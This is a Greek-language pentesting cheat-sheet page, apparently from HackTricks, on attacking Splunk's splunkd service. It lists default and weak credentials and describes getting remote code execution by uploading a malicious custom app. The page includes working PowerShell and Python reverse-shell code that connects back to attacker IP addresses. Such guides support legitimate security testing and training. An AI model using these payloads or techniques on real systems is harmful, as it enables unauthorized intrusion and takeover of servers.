8089 - Pentesting Splunkd
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
- Εργαλείο ανάλυσης καταγραφών που χρησιμοποιείται για τη συλλογή, ανάλυση και οπτικοποίηση δεδομένων
- Χρησιμοποιείται συνήθως στην παρακολούθηση ασφάλειας και στην επιχειρηματική ανάλυση
- Προεπιλεγμένες θύρες:
- Διακομιστής ιστού: 8000
- Υπηρεσία Splunkd: 8089
Δ vectors Ευπάθειας:
- Εκμετάλλευση Δωρεάν Έκδοσης
- Η δοκιμαστική έκδοση μετατρέπεται αυτόματα σε δωρεάν έκδοση μετά από 60 ημέρες
- Η δωρεάν έκδοση δεν έχει αυθεντικοποίηση
- Πιθανός κίνδυνος ασφάλειας αν αφεθεί χωρίς διαχείριση
- Οι διαχειριστές μπορεί να παραβλέψουν τις επιπτώσεις ασφάλειας
- Αδυναμίες Διαπιστευτηρίων
- Παλαιότερες εκδόσεις: Προεπιλεγμένα διαπιστευτήρια
admin:changeme
- Νεότερες εκδόσεις: Διαπιστευτήρια που ορίζονται κατά την εγκατάσταση
- Πιθανότητα χρήσης αδύναμων κωδικών πρόσβασης (π.χ.,
admin
,Welcome
,Password123
)
- Ευκαιρίες Εκτέλεσης Κώδικα από Απόσταση
- Πολλές μέθοδοι εκτέλεσης κώδικα:
- Εφαρμογές Django πλευράς διακομιστή
- REST endpoints
- Σενάρια εισόδου
- Σενάρια ειδοποίησης
- Υποστήριξη πολλαπλών πλατφορμών (Windows/Linux)
- Τα σενάρια εισόδου μπορούν να εκτελούνται:
- Bash scripts
- PowerShell scripts
- Batch scripts
Κύρια Δυνατότητα Εκμετάλλευσης:
- Αποθήκευση ευαίσθητων δεδομένων
- Έλλειψη αυθεντικοποίησης στη δωρεάν έκδοση
- Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα από απόσταση
- Δυνατότητα εκμετάλλευσης σενάριων εισόδου για συμβιβασμό συστήματος
Shodan
Splunk build
RCE
Δημιουργία Προσαρμοσμένης Εφαρμογής
Το Splunk προσφέρει μια προηγμένη μέθοδο για την εκτέλεση κώδικα από απόσταση μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις δυνατότητες scripting πολλαπλών πλατφορμών του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux.
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί Python, Batch, Bash ή PowerShell scripts. Επιπλέον, το Splunk έρχεται με εγκατεστημένο Python, οπότε ακόμη και σε Windows συστήματα θα μπορείτε να εκτελείτε κώδικα python.
Μπορείτε να χρησιμοποιήσετε αυτό το παράδειγμα με το bin
που περιέχει παράδειγμα για Python και PowerShell. Ή μπορείτε να δημιουργήσετε το δικό σας.
Η διαδικασία εκμετάλλευσης ακολουθεί μια συνεπή μεθοδολογία σε όλες τις πλατφόρμες:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
Το κρίσιμο αρχείο ρύθμισης inputs.conf
ενεργοποιεί το σενάριο με:
- Ρύθμιση
disabled = 0
- Διαμόρφωση ενός διαστήματος εκτέλεσης 10 δευτερολέπτων
- Ορισμός του τύπου πηγής του σεναρίου
Η ανάπτυξη είναι απλή:
- Δημιουργήστε το κακόβουλο πακέτο εφαρμογής
- Ρυθμίστε έναν ακροατή (Netcat/socat) στη μηχανή επίθεσης
- Ανεβάστε την εφαρμογή μέσω της διεπαφής του Splunk
- Ενεργοποιήστε την αυτόματη εκτέλεση του σεναρίου κατά την ανέβασμα
Δείγμα Windows PowerShell reverse shell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Δείγμα αντίστροφης θήκης Python σε Linux:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE & Privilege Escalation
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
References
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.